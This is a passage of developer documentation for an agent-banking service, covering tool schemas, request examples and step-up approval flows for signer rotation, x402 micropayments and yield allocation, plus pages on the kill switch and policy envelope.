| -------- | --------------------------- | ------------------------------------------------------------------------------------------------------------------------------ |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `payments:initiate`. |
| `-32002` | `policy_denied` | Envelope denied the scheduled amount (velocity, allowlist, daily cap, etc.). |
| `-32003` | `step_up_required` | Amount meets the step-up threshold. Follow the integration's approval flow; this input schema does not accept `step_up_sigil`. |
| `-32004` | `rate_limited` | Too many schedule requests. `data.retry_after_seconds` tells you when to retry. |
| `-32602` | `execute_at_not_future` | `execute_at` is not strictly after the current time. |
| `-32602` | `execute_at_beyond_horizon` | `execute_at` is more than 90 days from now. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
## Step-up flow
The handler evaluates the envelope before enqueueing a schedule. If the amount is at or above `step_up_amount_cents` and the other checks pass, it returns `-32003` with an approval URL instead of enqueueing.
The current input schema has no `step_up_sigil` field, and this handler does not redeem an approval token. Do not add that field and assume the schedule was approved. The configured integration must provide the continuation; if it does not, scheduling remains blocked.
A successfully queued schedule still depends on execution-time policy checks and a working scheduler. Track its recorded status rather than treating `execute_at` as a settlement guarantee.
# vault.rotateSigner
Source: https://glide-9da73dea.mintlify.app/agents/api/vault-rotateSigner
Rotate the signing key for this agent's sub-vault. Always requires principal step-up. The configured rotation implementation returns a proposal identifier and updated policy version; inspect the proposal to confirm execution.
Rotate the signing key for this agent's sub-vault. Always requires principal step-up. The configured rotation implementation returns a proposal identifier and updated policy version; inspect the proposal to confirm execution.
## Metadata
| Field | Value |
| ------------------------ | ------------------------ |
| Name | `vault.rotateSigner` |
| Category | `treasury` |
| Required scope | `treasury:rotate-signer` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------- |
| Title | Rotate Vault Signer |
| Read-only | no |
| Destructive | yes |
| Idempotent | no |
| Open-world | no |
| Requires human approval | yes (step-up) |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"new_signer_public_key": {
"type": "string",
"minLength": 1
},
"reason": {
"default": "scheduled_rotation",
"type": "string",
"enum": [
"scheduled_rotation",
"compromised_key",
"user_request",
"device_change"
]
},
"step_up_sigil": {
"type": "string",
"minLength": 1
}
},
"required": [
"new_signer_public_key",
"reason"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"proposal_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"new_policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"proposal_id",
"new_policy_version",
"enqueued_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `treasury:rotate-signer` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
# First call — no sigil: server returns step_up_url
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "vault.rotateSigner",
"params": {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation"
}
}'
# Second call — with redeemed sigil
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 2,
"method": "vault.rotateSigner",
"params": {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation",
"step_up_sigil": "eyJhbGciOiJFZERTQSIsInR5cCI6IkpXVCJ9..."
}
}'
```
```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const params = {
new_signer_public_key: '0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2',
reason: 'scheduled_rotation' as const,
};
// First attempt — expect step-up
const first = await client.call('treasury', 'vault.rotateSigner', params);
if (first instanceof StepUpRequired) {
// Redirect user; collect sigil from callback
const sigil = await redirectAndCollectSigil(first.stepUpUrl);
const result = await client.call('treasury', 'vault.rotateSigner', { ...params, step_up_sigil: sigil });
console.log('Rotated. New policy version:', result.new_policy_version);
}
```
```python Python theme={null}
from glide_client import GlideClient, StepUpRequired
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
params = {
"new_signer_public_key": "0x04a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b2",
"reason": "scheduled_rotation",
}
first = client.call("treasury", "vault.rotateSigner", params)
if isinstance(first, StepUpRequired):
sigil = redirect_and_collect_sigil(first.step_up_url)
result = client.call("treasury", "vault.rotateSigner", {**params, "step_up_sigil": sigil})
print("Rotated. New policy version:", result["new_policy_version"])
```
## Response examples
**Step-up required (always on first call)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "signer rotation requires principal biometric approval",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
**Success (after sigil redemption)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 2,
"result": {
"proposal_id": "f1e2d3c4-b5a6-4987-8765-432100fedcba",
"new_policy_version": 12,
"enqueued_at": "2026-05-04T14:30:00Z"
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ----------------------- | ------------------------------------------------------------------------------------------ |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `treasury:rotate-signer`. |
| `-32003` | `step_up_required` | Step-up is always required. `data.step_up_url` contains the approval URL. |
| `-32602` | `step_up_sigil_invalid` | Sigil was already redeemed, expired, or minted for a different action (`reason` mismatch). |
| `-32602` | `invalid_params` | `new_signer_public_key` is empty or malformed. |
| `-32603` | `internal_error` | Transient fault. Retry from step 1 (get a fresh sigil). |
## Step-up flow
`vault.rotateSigner` **always** requires principal step-up. There is no threshold — every rotation through this tool requires approval. The sigil is bound to the `reason` field, so a sigil minted for `grant_issue` is rejected here.
1. Call `vault.rotateSigner` with `new_signer_public_key` and `reason`. The server always returns `-32003`.
2. Use the configured approval flow for `data.step_up_url` to obtain a token bound to `reason: "rotate_signer"`. The current URL-mode page does not complete that flow by itself.
3. Re-submit with `step_up_sigil: ""`. The server verifies the sigil's `expected_reason` matches `"rotate_signer"` and that it was not already redeemed.
4. On success, a multisig proposal is submitted on-chain. `proposal_id` can be tracked in the Actions inbox. `new_policy_version` is the post-rotation policy version.
# x402.pay
Source: https://glide-9da73dea.mintlify.app/agents/api/x402-pay
Pay an x402 micropayment endpoint with mandatory server-side RPC verification; the facilitator receipt is never trusted for money-safety fields.
Pay an x402 micropayment endpoint. Server-side RPC verification of the on-chain tx is MANDATORY — the facilitator receipt is never trusted for money-safety fields (PLAN.md F1).
## Metadata
| Field | Value |
| ------------------------ | ---------- |
| Name | `x402.pay` |
| Category | `write` |
| Required scope | `x402:pay` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | ----------------- |
| Title | Pay x402 Endpoint |
| Read-only | no |
| Destructive | yes |
| Idempotent | yes |
| Open-world | yes |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"resource_url": {
"type": "string",
"format": "uri"
},
"max_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"resource_url",
"max_amount_cents",
"chain",
"token",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"payment_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"amount_cents_paid": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"on_chain_tx": {
"type": "string",
"pattern": "(?:0x[0-9a-fA-F]{64})|(?:[1-9A-HJ-NP-Za-km-z]{86,88})"
},
"resource_payload_sha256": {
"type": "string",
"minLength": 64,
"maxLength": 64
},
"paid_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"payment_id",
"amount_cents_paid",
"on_chain_tx",
"resource_payload_sha256",
"paid_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `x402:pay` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/write \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: x402-weather-20260504-001" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.pay",
"params": {
"resource_url": "https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41",
"max_amount_cents": 10,
"chain": "base",
"token": "USDC",
"idempotency_key": "x402-weather-20260504-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call(
'write', 'x402.pay',
{
resource_url: 'https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41',
max_amount_cents: 10,
chain: 'base',
token: 'USDC',
idempotency_key: 'x402-weather-20260504-001',
},
{ idempotencyKey: 'x402-weather-20260504-001' },
);
console.log('Paid', result.amount_cents_paid, 'cents, tx:', result.on_chain_tx);
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"write", "x402.pay",
{
"resource_url": "https://api.weatherdata.io/premium/forecast?lat=37.77&lon=-122.41",
"max_amount_cents": 10,
"chain": "base",
"token": "USDC",
"idempotency_key": "x402-weather-20260504-001",
},
idempotency_key="x402-weather-20260504-001",
)
print(f"Paid {result['amount_cents_paid']} cents, tx: {result['on_chain_tx']}")
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"payment_id": "9a8b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d",
"amount_cents_paid": 5,
"on_chain_tx": "0x4a3b2c1d9e8f7a6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
"resource_payload_sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855",
"paid_at": "2026-05-04T15:00:00Z"
}
}
```
**Vendor unavailable — RPC could not verify tx**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "RPC could not verify tx 0x4a3b... on base",
"data": {
"reason_id": "chain_tx_unverifiable"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ------------------------------ | ------------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `x402:pay`. |
| `-32002` | `policy_denied` | Envelope denied the payment (amount, counterparty, velocity). |
| `-32004` | `rate_limited` | Request rate exceeded. `data.retry_after_seconds` present. |
| `-32006` | `chain_tx_unverifiable` | Server-side RPC returned no result for the facilitator-claimed tx. Do not retry without investigation — the funds may not have moved. |
| `-32602` | `invalid_tx_hash_format` | RPC-verified tx hash format does not match the requested chain (EVM vs Solana mismatch). |
| `-32602` | `facilitator_tx_hash_mismatch` | Facilitator's claimed tx hash differs from the RPC-verified value. |
| `-32602` | `facilitator_amount_mismatch` | Facilitator claimed an amount different from the on-chain verified amount. |
| `-32602` | `amount_over_max` | Verified on-chain amount exceeds `max_amount_cents`. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
**Money-safety note:** `on_chain_tx` in the response is always the server-fetched RPC value, never the facilitator-supplied value. The facilitator receipt is used only for the x402 handshake; all money-safety fields are independently verified (PLAN.md F1).
# x402.receive
Source: https://glide-9da73dea.mintlify.app/agents/api/x402-receive
Return this agent's x402 receive endpoints.
Return this agent's x402 receive endpoints. The deployment must configure receive endpoints for the agent. If none are configured, the tool returns `no_x402_endpoints`. Listing an endpoint does not verify that an incoming payment has settled.
## Metadata
| Field | Value |
| ------------------------ | -------------- |
| Name | `x402.receive` |
| Category | `read` |
| Required scope | `x402:receive` |
| Idempotency key required | no |
## Annotations
| Annotation | Value |
| ----------------------- | ------------------------------- |
| Title | Describe x402 Receive Endpoints |
| Read-only | yes |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
}
},
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"endpoints": {
"type": "array",
"items": {
"type": "object",
"properties": {
"url": {
"type": "string",
"format": "uri"
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string"
},
"receiving_address": {
"type": "string",
"minLength": 1
},
"min_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"max_amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"accepts": {
"type": "array",
"items": {
"type": "string",
"enum": [
"text/plain",
"application/json"
]
}
}
},
"required": [
"url",
"chain",
"token",
"receiving_address",
"min_amount_cents",
"max_amount_cents",
"accepts"
],
"additionalProperties": false
}
},
"fetched_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
}
},
"required": [
"endpoints",
"fetched_at"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `x402:receive` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
# All chains
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.receive",
"params": {}
}'
# Filter to a single chain
curl -X POST https://mcp.glide.co/mcp/read \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "x402.receive",
"params": { "chain": "base" }
}'
```
```ts TypeScript theme={null}
import { GlideClient } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
// All chains
const all = await client.call('read', 'x402.receive', {});
// Filter to Base only
const baseOnly = await client.call('read', 'x402.receive', { chain: 'base' });
for (const endpoint of baseOnly.endpoints) {
console.log(`${endpoint.chain} ${endpoint.token} → ${endpoint.receiving_address}`);
console.log(` Accept range: ${endpoint.min_amount_cents}–${endpoint.max_amount_cents} cents`);
}
```
```python Python theme={null}
from glide_client import GlideClient
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
# All chains
result = client.call("read", "x402.receive", {})
# Filter to Solana only
sol_result = client.call("read", "x402.receive", {"chain": "sol"})
for endpoint in sol_result["endpoints"]:
print(f"{endpoint['chain']} {endpoint['token']} → {endpoint['receiving_address']}")
```
## Response examples
**Success — all chains**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"endpoints": [
{
"url": "https://mcp.glide.co/x402/receive/agt_7f3e4b2a",
"chain": "base",
"token": "USDC",
"receiving_address": "0xd8dA6BF26964aF9D7eEd9e03E53415D37aA96045",
"min_amount_cents": 1,
"max_amount_cents": 10000,
"accepts": ["application/json", "text/plain"]
},
{
"url": "https://mcp.glide.co/x402/receive/agt_7f3e4b2a",
"chain": "sol",
"token": "USDC",
"receiving_address": "DRpbCBMxVnDK7maPM5tGv6MvB3v1sRMC86PZ8okm38Rn",
"min_amount_cents": 1,
"max_amount_cents": 10000,
"accepts": ["application/json"]
}
],
"fetched_at": "2026-05-04T15:00:00Z"
}
}
```
**No endpoints configured**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32602,
"message": "no x402 endpoints configured for this agent (agent must be active + have at least one chain in allowlist)",
"data": {
"reason_id": "no_x402_endpoints"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | ------------------- | ----------------------------------------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `x402:receive`. |
| `-32602` | `no_x402_endpoints` | The agent is inactive or has no chain in its allowlist. Ensure the vault is active and at least one chain is enabled for the agent. |
| `-32603` | `internal_error` | Transient server fault. |
# yield.allocate
Source: https://glide-9da73dea.mintlify.app/agents/api/yield-allocate
Move funds between yield vaults (Aave/Morpho/Kamino/idle) within the envelope. Requires an enabled yield integration; the catalog skill is currently blocked on that dependency.
Move funds between yield vaults (Aave/Morpho/Kamino/idle) within the envelope. Requires an enabled yield integration; the catalog skill is currently blocked on that dependency.
## Metadata
| Field | Value |
| ------------------------ | ------------------------- |
| Name | `yield.allocate` |
| Category | `treasury` |
| Required scope | `treasury:yield-allocate` |
| Idempotency key required | yes |
## Annotations
| Annotation | Value |
| ----------------------- | -------------- |
| Title | Allocate Yield |
| Read-only | no |
| Destructive | no |
| Idempotent | yes |
| Open-world | no |
| Requires human approval | no |
## Input schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"from_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"to_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"chain": {
"type": "string",
"enum": [
"eth",
"base",
"arb",
"op",
"polygon",
"sol"
]
},
"token": {
"type": "string",
"minLength": 1
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"min_apr_bps": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"idempotency_key": {
"type": "string",
"minLength": 8,
"maxLength": 128
}
},
"required": [
"from_protocol",
"to_protocol",
"chain",
"token",
"amount_cents",
"idempotency_key"
],
"additionalProperties": false
}
```
## Output schema
```json theme={null}
{
"$schema": "https://json-schema.org/draft/2020-12/schema",
"type": "object",
"properties": {
"allocation_id": {
"type": "string",
"format": "uuid",
"pattern": "^([0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[1-8][0-9a-fA-F]{3}-[89abAB][0-9a-fA-F]{3}-[0-9a-fA-F]{12}|00000000-0000-0000-0000-000000000000|ffffffff-ffff-ffff-ffff-ffffffffffff)$"
},
"from_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"to_protocol": {
"type": "string",
"enum": [
"aave",
"morpho",
"kamino",
"idle"
]
},
"amount_cents": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
},
"enqueued_at": {
"type": "string",
"format": "date-time",
"pattern": "^(?:(?:\\d\\d[2468][048]|\\d\\d[13579][26]|\\d\\d0[48]|[02468][048]00|[13579][26]00)-02-29|\\d{4}-(?:(?:0[13578]|1[02])-(?:0[1-9]|[12]\\d|3[01])|(?:0[469]|11)-(?:0[1-9]|[12]\\d|30)|(?:02)-(?:0[1-9]|1\\d|2[0-8])))T(?:(?:[01]\\d|2[0-3]):[0-5]\\d(?::[0-5]\\d(?:\\.\\d+)?)?(?:Z))$"
},
"policy_version": {
"type": "integer",
"minimum": 0,
"maximum": 9007199254740991
}
},
"required": [
"allocation_id",
"from_protocol",
"to_protocol",
"amount_cents",
"enqueued_at",
"policy_version"
],
"additionalProperties": false
}
```
## Auth
Caller's grant must include the `treasury:yield-allocate` scope. Grants whose scope set is a superset of the required scope are accepted.
## Request examples
```bash curl theme={null}
curl -X POST https://mcp.glide.co/mcp/treasury \
-H "Authorization: Bearer $GLIDE_GRANT_TOKEN" \
-H "Content-Type: application/json" \
-H "Idempotency-Key: yield-rebalance-20260504-001" \
-d '{
"jsonrpc": "2.0",
"id": 1,
"method": "yield.allocate",
"params": {
"from_protocol": "idle",
"to_protocol": "aave",
"chain": "base",
"token": "USDC",
"amount_cents": 500000,
"min_apr_bps": 350,
"idempotency_key": "yield-rebalance-20260504-001"
}
}'
```
```ts TypeScript theme={null}
import { GlideClient, StepUpRequired } from './glide-client';
const client = new GlideClient({ grantToken: process.env.GLIDE_GRANT_TOKEN! });
const result = await client.call(
'treasury', 'yield.allocate',
{
from_protocol: 'idle',
to_protocol: 'aave',
chain: 'base',
token: 'USDC',
amount_cents: 500000,
min_apr_bps: 350,
idempotency_key: 'yield-rebalance-20260504-001',
},
{ idempotencyKey: 'yield-rebalance-20260504-001' },
);
if (result instanceof StepUpRequired) {
// Amount exceeded step-up threshold; redirect for approval.
window.location.href = result.stepUpUrl;
return;
}
console.log('Allocation enqueued:', result.allocation_id);
```
```python Python theme={null}
from glide_client import GlideClient, StepUpRequired
import os
client = GlideClient(grant_token=os.environ["GLIDE_GRANT_TOKEN"])
result = client.call(
"treasury", "yield.allocate",
{
"from_protocol": "idle",
"to_protocol": "aave",
"chain": "base",
"token": "USDC",
"amount_cents": 500000,
"min_apr_bps": 350,
"idempotency_key": "yield-rebalance-20260504-001",
},
idempotency_key="yield-rebalance-20260504-001",
)
if isinstance(result, StepUpRequired):
print("Step-up needed:", result.step_up_url)
else:
print("Allocation enqueued:", result["allocation_id"])
```
## Response examples
**Success**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"result": {
"allocation_id": "c1d2e3f4-a5b6-4789-8012-345678fedcba",
"from_protocol": "idle",
"to_protocol": "aave",
"amount_cents": 500000,
"enqueued_at": "2026-05-04T15:30:00Z",
"policy_version": 9
}
}
```
**Step-up required (amount over envelope threshold)**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32003,
"message": "yield move of 500000¢ requires step-up",
"data": {
"reason_id": "step_up_required",
"step_up_url": "https://app.glide.co/step-up/confirm?sigil=eyJhbGci..."
}
}
}
```
**V3 yield infrastructure not yet available**
```json theme={null}
{
"jsonrpc": "2.0",
"id": 1,
"error": {
"code": -32006,
"message": "yield.allocate depends on V3 DeFi yield infra (Bucket 1.8 / 4.4); not yet shipped",
"data": {
"reason_id": "yield_v3_blocked"
}
}
}
```
## Errors
| Code | `reason_id` | Meaning |
| -------- | -------------------- | ---------------------------------------------------------------------------------------------------- |
| `-32000` | `unauthenticated` | Bearer token missing or expired. |
| `-32001` | `unauthorized` | Grant does not include `treasury:yield-allocate`. |
| `-32002` | `policy_denied` | Envelope denied the allocation (velocity, protocol not in allowlist, daily cap). |
| `-32003` | `step_up_required` | Amount is at or above the envelope's `step_up_amount_cents`. `data.step_up_url` is the approval URL. |
| `-32004` | `rate_limited` | Too many allocation requests. `data.retry_after_seconds` present. |
| `-32006` | `yield_v3_blocked` | V3 DeFi yield infrastructure is not yet deployed. The tool is gated on Bucket 1.8 / 4.4. |
| `-32602` | `same_protocol_noop` | `from_protocol` and `to_protocol` are identical — no-op. |
| `-32603` | `internal_error` | Transient server fault. Retry with the same idempotency key. |
## Step-up flow
`yield.allocate` evaluates the amount against `step_up_amount_cents`. If other checks pass, an amount at or above that threshold produces a step-up verdict.
The current handler creates an allocation record before returning the approval URL. Its input schema does not accept `step_up_sigil`, and the handler does not redeem a token. Follow the existing allocation through the configured approval and execution integration. Do not resubmit with an invented approval parameter or treat an enqueued record as settlement.
Automatic rebalancing and target-percentage allocation rules are outside this tool's contract.
# Agent banking
Source: https://glide-9da73dea.mintlify.app/agents/index
Give an agent scoped access to Glide tools and review its permissions, policy and activity.
Agent banking provides scoped access to Glide tools. Depending on the integration and grant, an agent can read balances, check proposed payments or request financial actions.
Review the grant and policy envelope before enabling writes. Caps and allowlists can deny a request. A configured step-up threshold can require approval. Actions permitted below that threshold may proceed without a separate approval prompt.
## Start here
Check integration availability and make a read-only call.
Review skill permissions, presets and blocked dependencies.
Understand caps, approved destinations and approval thresholds.
Distinguish tool requests, audit events and settlement receipts.
## Access and availability
A grant binds the agent to an authorized tenant and scope set. Tools apply their own access and policy checks. A catalog listing does not establish that a tool's dependencies are enabled.
Runtime compatibility varies by skill. See [Supported runtimes](/agents/runtimes). The AP invoice integrations, Treasury skill and Payroll cosigner have blocked dependencies.
The current agent audit viewer and URL-mode approval page are not fully connected. Confirm that the required flow works through your integration before authorizing writes.
## Custody
Agent access uses an explicitly authorized vault. Personal deposits, sends, swaps and payouts use verified Privy embedded wallets; opening a personal account does not create a treasury vault.
Regulated services come from licensed partners. Crypto balances are not bank deposits and are not deposit-insured.
## Next
* [Quickstart](/agents/quickstart)
* [MCP tool reference](/agents/api/index)
* [Kill switch](/agents/kill-switch)
# Kill switch
Source: https://glide-9da73dea.mintlify.app/agents/kill-switch
Revoke agent access for an entity and review outstanding actions.
Use the kill switch when you see unfamiliar agent activity or need to stop further authorized calls. It revokes access; it cannot reverse transactions already broadcast.
## Pause all agents for an entity
On web, open **Agents**, select the entity and choose **Pause all**. The action requires Owner or Admin access. Confirm the prompt, then check the result and agent list.
The dashboard action revokes the entity's active grants and marks its draft, active and throttled agents as revoked. It records the action in the entity's activity log. Other entities are outside this action's scope.
## Review outstanding actions
Revoked grants fail subsequent authorization checks. A request that already passed authorization may still be in progress. Review pending payments, proposals and card status separately.
The dashboard action does not guarantee cancellation of every in-flight payment or on-chain freezing of every vault. Check the recorded outcome of each outstanding action before retrying it.
## Restore access
Revocation is terminal for the affected agent. After reviewing the incident and policy, provision a new agent and grant through the available setup flow. There is no one-tap Resume action that restores revoked grants.
## Programmatic kill switch
[`killSwitch.all`](/agents/api/killSwitch-all) defines a separate principal-scoped MCP operation. Its vault-freeze behavior depends on the configured implementation. Do not assume the dashboard's entity-scoped action performs the same on-chain work.
Automatic anomaly halts, voice commands and lock-screen halt controls are not guaranteed by this dashboard flow. Use the action available to your account and verify its result.
## Next
* [Policy envelope](/agents/policy-envelope)
* [Step-up approvals](/agents/step-up)
* [Receipts](/agents/receipts)
# Policy envelope
Source: https://glide-9da73dea.mintlify.app/agents/policy-envelope
Set agent amount caps, approved destinations, time windows and approval thresholds.
A policy envelope defines the constraints checked by agent tools that evaluate policy. Grants separately limit the agent's tools and tenant access. Review both before allowing an agent to act.
## Policy controls
| Control | Behavior |
| --------------------------- | -------------------------------------------------------------------------------------------------------- |
| **Per-transaction cap** | Denies amounts above the configured maximum. |
| **Daily and lifetime caps** | Denies a request that would exceed the configured spending total. Required usage data must be available. |
| **Chain allowlist** | Requires the destination chain to be listed. An empty list denies requests with a destination. |
| **Counterparty allowlist** | Requires a matching address, chain and token. An empty list denies destinations. |
| **Step-up threshold** | Requests approval at or above the configured amount, if no other check denies the request. |
| **Time windows** | Limits permitted days and hours when configured. |
| **Transaction frequency** | Enforces configured hourly, daily and baseline-relative counts. |
A denial takes precedence over step-up. An approval cannot bypass an amount cap or an unapproved destination.
## Configure a policy
Use the policy controls available for the agent and review the saved envelope. Package presets are starting points. They do not establish the settings applied to an installed agent.
For payment tools that use `step_up_amount_cents`, zero requests approval for every nonnegative amount that otherwise passes policy. An omitted threshold does not add an amount-based approval requirement. Some tools require approval independently of that field.
Card issuance applies its own scope and funding-cap checks. It does not run the same inline step-up flow as `payments.initiate`. See [`cards.issue`](/agents/api/cards-issue).
